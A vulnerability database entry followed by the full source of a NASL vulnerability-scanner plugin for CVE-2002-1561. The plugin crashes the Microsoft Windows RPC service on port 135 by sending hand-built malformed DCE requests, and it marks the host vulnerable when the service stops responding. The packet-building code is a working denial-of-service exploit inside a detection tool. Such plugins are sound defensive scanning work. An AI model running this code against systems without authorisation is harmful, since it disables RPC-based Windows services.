5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
6.5 Medium
AI Score
Confidence
Low
0.563 Medium
EPSS
Percentile
97.7%
MS Windows RPC service (RPCSS) crashes trying to dereference a
null pointer when it receives a certain malformed request.
All MS RPC-based services (i.e. a large part of MS Windows 2000+)
running on the target machine are rendered inoperable.
# SPDX-FileCopyrightText: 2002 Pavel Kankovsky
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.11159");
script_version("2024-06-21T05:05:42+0000");
script_tag(name:"last_modification", value:"2024-06-21 05:05:42 +0000 (Fri, 21 Jun 2024)");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_cve_id("CVE-2002-1561");
script_xref(name:"IAVA", value:"2003-t-0008");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/6005");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_name("Microsoft RPC Services null pointer reference DoS Vulnerability");
script_category(ACT_DESTRUCTIVE_ATTACK);
script_copyright("Copyright (C) 2002 Pavel Kankovsky");
script_family("Denial of Service");
script_dependencies("dcetest.nasl");
script_require_ports("Services/epmap", 135);
script_tag(name:"solution", value:"Block access to TCP port 135.");
script_tag(name:"summary", value:"MS Windows RPC service (RPCSS) crashes trying to dereference a
null pointer when it receives a certain malformed request.
All MS RPC-based services (i.e. a large part of MS Windows 2000+)
running on the target machine are rendered inoperable.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_analysis");
exit(0);
}
include("port_service_func.inc");
# Prepare DCE BIND request
function dce_bind() {
# Service UUID:
# B9E79E60-3D52-11CE-AAA1-00006901293F
# (this is one of the services bound to port 135)
sv_uuid = raw_string(
0x60, 0x9E, 0xE7, 0xB9, 0x52, 0x3D, 0xCE, 0x11,
0xAA, 0xA1, 0x00, 0x00, 0x69, 0x01, 0x29, 0x3F);
# The version is incorrect "for extra fun" (should be 0.2)
sv_vers = raw_string(0x02, 0x00, 0x02, 0x00);
# Transfer syntar UUID:
# 8A885D04-1CEB-11C9-9FE8-08002B104860
ts_uuid = raw_string(
0x04, 0x5D, 0x88, 0x8A, 0xEB, 0x1C, 0xC9, 0x11,
0x9F, 0xE8, 0x08, 0x00, 0x2B, 0x10, 0x48, 0x60);
ts_vers = raw_string(0x02, 0x00, 0x00, 0x00);
# Request header
req_hdr = raw_string(
0x05, 0x00, # version, minor version
0x0b, 0x03, # BINDPACKET, flags (1st+last frag)
0x10, 0x00, 0x00, 0x00, # data representation (LE, ASCII, IEEE fp)
0x48, 0x00, # fragment length (72)
0x00, 0x00, # auth length
0x02, 0x00, 0x00, 0x00, # call id
0xd0, 0x16, 0xd0, 0x16, # max xmit frag, max recv frag
0x00, 0x00, 0x00, 0x00, # assoc group
0x01, # num ctx items
0x00, 0x00, 0x00, # (padding)
0x00, 0x00, # p_cont_id
0x01, # n_transfer_syn
0x00); # (padding)
return (string(req_hdr, sv_uuid, sv_vers, ts_uuid, ts_vers));
}
# Prepare evil DCE request I
function attack_dce_req_1() {
# Request header
req_hdr = raw_string(
0x05, 0x00, # version, minor version
0x00, 0x01, # REQUESTPACKET, flags (1st frag)
0x10, 0x00, 0x00, 0x00, # data representation (LE, ASCII, IEEE fp)
0xd0, 0x16, # fragment length (5840)
0x00, 0x00, # auth length
0x8f, 0x00, 0x00, 0x00, # call id
0x20, 0x27, 0x01, 0x00, # alloc hint
0x00, 0x00, # context id
0x02, 0x00, # opnum: 0
0xf0, 0x00, 0x00, 0x00, # ?
0x00, 0x00, 0x00, 0x00, # ?
0x0f, 0x00, 0x00, 0x00); # ?
req_dt1 = crap(data:raw_string(0x41), length:240);
req_dt2 = raw_string(
0x88, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x88, 0x13, 0x00, 0x00);
req_dt3 = crap(data:raw_string(0x42), length:5000);
req_dt4 = raw_string(
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00);
req_dt5 = crap(data:raw_string(0x43), length:512);
req_dt6 = raw_string(
0xfe, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xfe, 0xff, 0x00, 0x00, 0x3d, 0x3d, 0x3d, 0x3d,
0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d,
0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d);
return(string(req_hdr, req_dt1, req_dt2, req_dt3, req_dt4, req_dt5, req_dt6));
}
# Prepare evil DCE request II
# the size does not match fragment length?!
function attack_dce_req_2(ah, stuff) {
# grrr...nasl barfs on (ah/xx) & 0xff
ah0 = ah & 0xff;
ah1 = ah / 256; ah1 = ah1 & 0xff;
ah2 = ah / 65536; ah2 = ah2 & 0xff;
ah3 = ah / 16777216; ah3 = ah3 & 0xff;
# Request header
req_hdr = raw_string(
0x05, 0x00, # version, minor version
0x00, 0x00, # REQUESTPACKET, flags (none)
0x10, 0x00, 0x00, 0x00, # data representation (LE, ASCII, IEEE fp)
0xd0, 0x16, # fragment length (5840...hmmm)
0x00, 0x00, # auth length
0x8f, 0x00, 0x00, 0x00, # call id
ah0, ah1, ah2, ah3, # alloc hint
0x00, 0x00, # context id
0x02, 0x00); # opnum: ?
req_dt1 = crap(data:raw_string(stuff), length:5000);
return (string(req_hdr, req_dt1));
}
# Prepare evil DCE request III
# this makes absolutely no sense, hmm...
# the attack appears to work without it...
function attack_dce_req_3() {
# Request header? eh...sort of
req_hdr = raw_string(
0x00, 0x00, 0x01, 0x10, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x01, 0x10, 0x00, 0x00);
req_dt1 = crap(data:raw_string(0x48), length:5000);
return (string(req_hdr, req_dt1));
}
# Carry out the attack.
function attack(port) {
soc = open_sock_tcp(port);
if(!soc)
return (1);
# send bind request and check whether we got some reply
# this is used as a liveness test
send(socket:soc, data:dce_bind());
r = recv(socket:soc, length:16);
if(strlen(r) < 16)
return (1);
# send the evil packets
send(socket:soc, data:attack_dce_req_1());
send(socket:soc, data:attack_dce_req_2(ah:0x011050, stuff:0x44));
send(socket:soc, data:attack_dce_req_2(ah:0xf980, stuff:0x45));
send(socket:soc, data:attack_dce_req_2(ah:0xe2b0, stuff:0x46));
send(socket:soc, data:attack_dce_req_2(ah:0x1560, stuff:0x47));
send(socket:soc, data:attack_dce_req_3());
close(soc);
return (0);
}
port = service_get_port( default:135, proto:"epmap" );
maxtries = 5;
countdown = maxtries;
while (countdown > 0) {
success = attack(port:port);
if (success) {
if (countdown == maxtries) {
# XXX it refuses to talk to us
# XXX should we print a warning?
exit(0);
}
security_message(port:port);
exit(0);
}
countdown = countdown - 1;
sleep(1);
}
exit(99);